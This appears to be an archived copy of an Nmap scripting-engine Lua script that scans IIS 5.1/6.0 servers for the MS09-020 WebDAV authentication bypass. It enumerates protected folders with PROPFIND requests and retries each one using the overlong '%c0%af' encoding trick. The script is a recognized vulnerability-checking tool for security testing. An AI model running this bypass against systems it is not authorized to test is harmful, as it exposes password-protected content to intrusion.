home *** CD-ROM | disk | FTP | other *** search
/ Hackers Magazine 57 / CdHackersMagazineNr57.iso / Software / Networking / nmap-5.00-setup.exe / scripts / http-iis-webdav-vuln.nse < prev    next >
Text File  |  2009-07-06  |  8KB  |  211 lines

  1. description = [[
  2. Checks for a vulnerability in IIS 5.1/6.0 that allows arbitrary users to access secured WebDAV folders by searching for a password-protected folder and attempting to access it. This vulnerability was patched in Microsoft Security Bulletin MS09-020 <http://www.microsoft.com/technet/security/bulletin/ms09-020.mspx>.
  3.  
  4. A list of well known folders (almost 900) is used by default. Each one is checked, and if returns an authentication request (401), another attempt is tried with the malicious encoding. If that attempt returns a successful result (207), then the folder is marked as vulnerable.
  5.  
  6. This script is based on the Metasploit modules/auxiliary/scanner/http/wmap_dir_webdav_unicode_bypass.rb auxiliary module.
  7.  
  8. For more information on this vulnerability and script, see:
  9. * http://blog.zoller.lu/2009/05/iis-6-webdac-auth-bypass-and-data.html
  10. * http://seclists.org/fulldisclosure/2009/May/att-0134/IIS_Advisory_pdf
  11. * http://www.skullsecurity.org/blog/?p=271
  12. * http://www.kb.cert.org/vuls/id/787932
  13. * http://www.microsoft.com/technet/security/advisory/971492.mspx
  14. ]]
  15.  
  16. ---
  17. -- @usage
  18. -- nmap --script http-iis-webdav-vuln -p80,8080 <host>
  19. --
  20. -- @output
  21. -- 80/tcp open  http    syn-ack
  22. -- |_ http-iis-webdav-vuln: WebDAV is ENABLED. Vulnerable folders discovered: /secret, /webdav
  23. --
  24. -- @args webdavfolder Selects a single folder to use, instead of using a built-in list
  25. -- @args folderdb The filename of an alternate list of folders.
  26. -- @args basefolder The folder to start in; eg, "/web" will try "/web/xxx"
  27. -----------------------------------------------------------------------
  28.  
  29. author = "Ron Bowes <ron@skullsecurity.net> and Andrew Orr <andrew@andreworr.ca>"
  30. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  31. categories = {"vuln", "intrusive"}
  32.  
  33. require "http"
  34. require "shortport"
  35.  
  36. portrule = shortport.port_or_service({80, 8080}, "http")
  37.  
  38. ---Enumeration for results
  39. local enum_results = 
  40. {
  41.     VULNERABLE = 1,
  42.     NOT_VULNERABLE = 2,
  43.     UNKNOWN = 3
  44. }
  45.  
  46. ---Sends a PROPFIND request to the given host, and for the given folder. Returns a table reprenting a response. 
  47. local function get_response(host, port, folder)
  48.     local webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/><getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/><checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'
  49.  
  50.     local mod_options = {
  51.         header = {
  52.             Host = host.ip,
  53.             Connection = "close",
  54.             ["User-Agent"]  = "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)",
  55.             ["Content-Type"] = "application/xml",
  56.         },
  57.         content = webdav_req
  58.     }
  59.  
  60.     return http.request(host, port, "PROPFIND " .. folder .. " HTTP/1.1\r\n", mod_options)
  61. end
  62.  
  63. ---Check a single folder on a single host for the vulnerability. Returns one of the enum_results codes. 
  64. local function go_single(host, port, folder)
  65.     local response
  66.  
  67.     response = get_response(host, port, folder)
  68.     if(response.status == 401) then
  69.         local vuln_response
  70.         local check_folder
  71.  
  72.         stdnse.print_debug(1, "http-iis-webdav-vuln: Found protected folder (401): %s", folder)
  73.  
  74.         -- check for IIS 6.0 and 5.1
  75.         -- doesn't appear to work on 5.0
  76.         -- /secret/ becomes /s%c0%afecret/
  77.         check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
  78.         vuln_response = get_response(host, port, check_folder)
  79.         if(vuln_response.status == 207) then
  80.             stdnse.print_debug(1, "http-iis-webdav-vuln: Folder seems vulnerable: %s", folder)
  81.             return enum_results.VULNERABLE
  82.         else
  83.             stdnse.print_debug(1, "http-iis-webdav-vuln: Folder does not seem vulnerable: %s", folder)
  84.             return enum_results.NOT_VULNERABLE
  85.         end
  86.     else
  87.         if(response['status-line'] ~= nil) then
  88.             stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status-line'], folder)
  89.         elseif(response['status'] ~= nil) then
  90.             stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status'], folder)
  91.         else
  92.             stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder: %s",folder)
  93.         end
  94.         return enum_results.UNKNOWN
  95.     end
  96. end
  97.  
  98. ---Checks a list of possible folders for the vulnerability. Returns a list of vulnerable folders. 
  99. local function go(host, port)
  100.     local status, folder
  101.     local results = {}
  102.     local is_vulnerable = true
  103.  
  104.     local folder_file
  105.     if(nmap.registry.args.folderdb ~= nil) then
  106.         folder_file = nmap.fetchfile(nmap.registry.args.folderdb)
  107.     else
  108.         folder_file = nmap.fetchfile('nselib/data/folders.lst')
  109.     end
  110.  
  111.     if(folder_file == nil) then
  112.         return false, "Couldn't find folders.lst (should be in nselib/data)"
  113.     end
  114.  
  115.     local file = io.open(folder_file, "r")
  116.     if not file then
  117.         return false, "Couldn't find folders.lst (should be in nselib/data)"
  118.     end
  119.  
  120.     while true do
  121.         local result
  122.         local line = file:read()
  123.         if not line then
  124.             break
  125.         end
  126.  
  127.         if(nmap.registry.args.basefolder ~= nil) then
  128.             line = "/" .. nmap.registry.args.basefolder .. "/" .. line
  129.         else
  130.             line = "/" .. line
  131.         end
  132.  
  133.         result = go_single(host, port, line)
  134.         if(result == enum_results.VULNERABLE) then
  135.             results[#results + 1] = line
  136.         elseif(result == enum_results.NOT_VULNERABLE) then
  137.             is_vulnerable = false
  138.         else
  139.         end
  140.     end
  141.  
  142.     file:close()
  143.  
  144.     return true, results, is_vulnerable
  145. end
  146.  
  147. action = function(host, port)
  148.     -- Start by checking if '/' is protected -- if it is, we can't do the tests
  149.     local result = go_single(host, port, "/")
  150.     if(result == enum_results.NOT_VULNERABLE) then
  151.         stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is password protected, aborting.")            
  152.         return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
  153.     end
  154.  
  155.     stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is not password protected, continuing...")
  156.  
  157.     response = get_response(host, port, "/")
  158.     if(response.status == 501) then
  159.         -- WebDAV is disabled
  160.         stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is DISABLED (PROPFIND failed).")
  161.         return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
  162.     else
  163.         if(response.status == 207) then
  164.             -- PROPFIND works, WebDAV is enabled
  165.             stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is ENABLED (PROPFIND was successful).")
  166.         else
  167.             -- probably not running IIS 5.0/5.1/6.0
  168.             if(response['status-line'] ~= nil) then
  169.                 stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status-line'])
  170.             elseif(response['status'] ~= nil) then
  171.                 stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status'])
  172.             else
  173.                 stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed.")
  174.             end
  175.             return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil
  176.         end
  177.     end
  178.  
  179.  
  180.     if(nmap.registry.args.webdavfolder ~= nil) then
  181.         local folder = nmap.registry.args.webdavfolder
  182.         local result = go_single(host, port, "/" .. folder)
  183.  
  184.         if(result == enum_results.VULNERABLE) then
  185.             return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
  186.         elseif(result == enum_results.NOT_VULNERABLE) then
  187.             return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
  188.         else
  189.             return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
  190.         end
  191.         
  192.     else
  193.         local status, results, is_vulnerable = go(host, port)
  194.     
  195.         if(status == false) then
  196.             return nmap.verbosity() > 0 and "ERROR: " .. results or nil
  197.         else
  198.             if(#results == 0) then
  199.                 if(is_vulnerable == false) then
  200.                     return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
  201.                 else
  202.                     return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>" or nil
  203.                 end
  204.             else
  205.                 return "WebDAV is ENABLED. Vulnerable folders discovered: " .. stdnse.strjoin(", ", results)
  206.             end
  207.         end
  208.     end
  209. end
  210.  
  211.